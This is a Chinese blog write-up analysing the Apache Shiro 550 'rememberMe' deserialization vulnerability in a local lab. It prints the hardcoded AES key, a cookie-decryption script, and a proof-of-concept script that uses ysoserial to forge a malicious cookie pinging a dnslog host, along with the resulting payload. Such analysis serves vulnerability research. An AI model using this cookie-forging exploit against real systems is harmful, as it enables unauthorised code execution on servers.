本菜鸡算是第一次正式分析这种玩意,很烂,都是跟着网上的分析教程走一遍,算是打响java反序列化漏洞的第一枪。我还欠了两篇文章,记着呢。
0x01 前言
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为550的issue 中爆出严重的Java反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
-
检索cookie中RememberMe的值 -
Base64解码 -
使用AES解密 -
反序列化
漏洞原因在于第三步,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行。
只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
0x02 环境搭建
首先下载源码,并切换有漏洞的版本
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
修改samples/web/pom.xml
,支持jsp
Run
Edit Configurations
添加TomcatServer(Local)
Server中配置Tomcat路径
Deployment中添加Artifact
选择sample-web:war exploded
这里若要使用burpsuite,注意端口不要和bp冲突
0x03 代码分析
根据 https://issues.apache.org/jira/browse/SHIRO-550 描述
这是几个重要的点:
-
检索 RememberMe
cookie的值 -
Base64解码 -
使用AES解密 -
使用Java序列化( ObjectInputStream
)反序列化。
3.1 rememberMe cookie
先来瞧瞧这个cookie,进入登录界面,在登录时,勾选Remember Me
rememberMe=+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU
使用Base64
解码存储为二进制文件
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : yhy
import base64
import struct
rememberMe = '+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU'
rememberMe_64 = base64.b64decode(rememberMe)
f = open("rememberMe", 'wb')
f.write(rememberMe_64)
内容如下:
上述内容中并没有在初探Java反序列化漏洞(一)中提到过的序列化的数据流以魔术数字和版本号AC ED 00 05
等字样。这是因为上述关键步骤中提到了AES解密
,所以需要去跟一下源码。
3.2 Shiro 500 中的 AES 解密
在IDEA中ctrl+shift+f
全局搜索AES
在src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java
中找到了
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==") 就是我们要找的硬编码密钥,因为AES是对称加密,即加密密钥也同样是解密密钥。
然后看看shiro是怎么处理解密的,向下看,找到
/**
* Decrypts the byte array using the configured {@link #getCipherService() cipherService}.
*
* @param encrypted the encrypted byte array to decrypt
* @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}.
*/
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
函数名decrypt
,显而易见,是处理解密的,cipherService
是一个接口,调用了其中的decrypt
解密方法,需要两个变量encrypted
(被加密的数组) 和 getDecryptionCipherKey()
(获取解密秘钥),前面说了AES是对称加密,即加密密钥也同样是解密密钥。而且从程序中也能看到,确实是同一个,通过在该类中查找setDecryptionCipherKey()
方法,可以看到
再搜索setCipherKey
,可以看到构造方法中传入了DEFAULT_CIPHER_KEY_BYTES
也就是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
的值
然后再看一下CipherService
这个接口的decrypt
的具体实现,ctrl+右键
跟进去看看
这只是个接口,全局搜索implements CipherService
发现src/main/java/org/apache/shiro/crypto/JcaCipherService.java
实现了CipherService
接口,进去看看decrypt
方法
简单来看,我们在这里下个断点,发现是CBC
模式,并且 iv
偏移量的值为 byte[] iv = new byte[16]
利用下面的脚本解密之前base64解码
后生成的rememberMe
文件得到decrypt.bin
文件
# pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES
def decode_rememberme_file(filename):
with open(filename, 'rb') as fpr:
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(fpr.read())
return remember_bin
if __name__ == '__main__':
with open("decrypt.bin", 'wb+') as fpw:
fpw.write(decode_rememberme_file(sys.argv[1]))
这是 Java 序列化的标志,说明解密成功
3.3 反序列化
看看解密之后的操作,回到src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java
类中,看看,从哪里调用了decrypt
函数,
在convertBytesToPrincipals
这里解密之后,执行了反序列化deserialize
,进去瞅瞅
通过获取getSerializer()
来调用反序列化,再看看SetSerializer
src/main/java/org/apache/shiro/io/DefaultSerializer.java
这里使用的是默认反序列化类,没有任何检验,readobject()
触发反序列化!
0x04 漏洞探测
现在我们知道了shiro550在获取到rememberMe cookie的值后,通过硬编码的KEY kPH+bIxk5D2deZiIxcaaaA==进行AES解密,解密完成之后直接调用默认的反序列化的readobject()方法,没有经过任何的校验。
具体的 Payload 也就呼之欲出了,将payload
通过AES加密伪造rememberMe cookie,我们通过刚才的解密流程知道shiro550采用的CBC模式、byte[] iv = new byte[16], 通过脚本伪造,利用ysoserial.jar
神器生成URLDNS
探测的payload进行探测(shiro550自带来commons-collections3.2.1,关于commons-collections的相关漏洞,后续分析)
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://5fzd8f.dnslog.cn')
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
运行生成
rememberMe=Y3M07legS/64hNfAmb+zfY1Ch/sXxGbop7rMR3YgWuFwTmdZEGj1q0oaHMowhUpUopo4XNjBkIDbn+w4Zhq0QO+9GXX4+hZA67NiM5U6sXcxtxLZCdlRB4JlrT8JrtTs+OyejDVh2HXLgI29lmMSDVoVW5OV3EHISFbFS+MmQv6JGqt60OZHxw6y1uhwYcWiRZ2kqGwDbNE/Xj+vNA1/5CdvnElY3jVvo8YJ8Suy8zznVuMlR2OsjksaHel8dXoUSXRiTAsMnn0SJIqKm7KI98YqTQaSn4F7VnEqaaNyciQwgOoOV/MphOWjVcTWsEDgdUjT5WgI+pJSZpX9JIo1XT75SPpWkiIw9Sseptaor5fsPMPNuk/lf5bWSpnwFTlTUuClsDJbOXjgvcew77i9tw==
替换打成功
其实一开始是失败的,shiro550自带的包是commons-collections3.2.1,原生情况下直接用ysoserial打,是不会成功的,其他文章在pom.xml中直接添加了
commons-collections4的包,才可以顺畅复现。至于为啥原生的3.2.1不能触发漏洞,以及可不可以触发漏洞,下篇文章再分析。
0x05 参考
Apache Shiro Java 反序列化漏洞分析 https://blog.knownsec.com/2016/08/apache-shiro-java/
Java安全之Shiro 550反序列化漏洞分析 https://www.anquanke.com/post/id/225442#h3-8
ysoserial https://github.com/frohoff/ysoserial
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?
本文始发于微信公众号(谁不想当剑仙):Java反序列化漏洞分析(一)-Shiro550
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论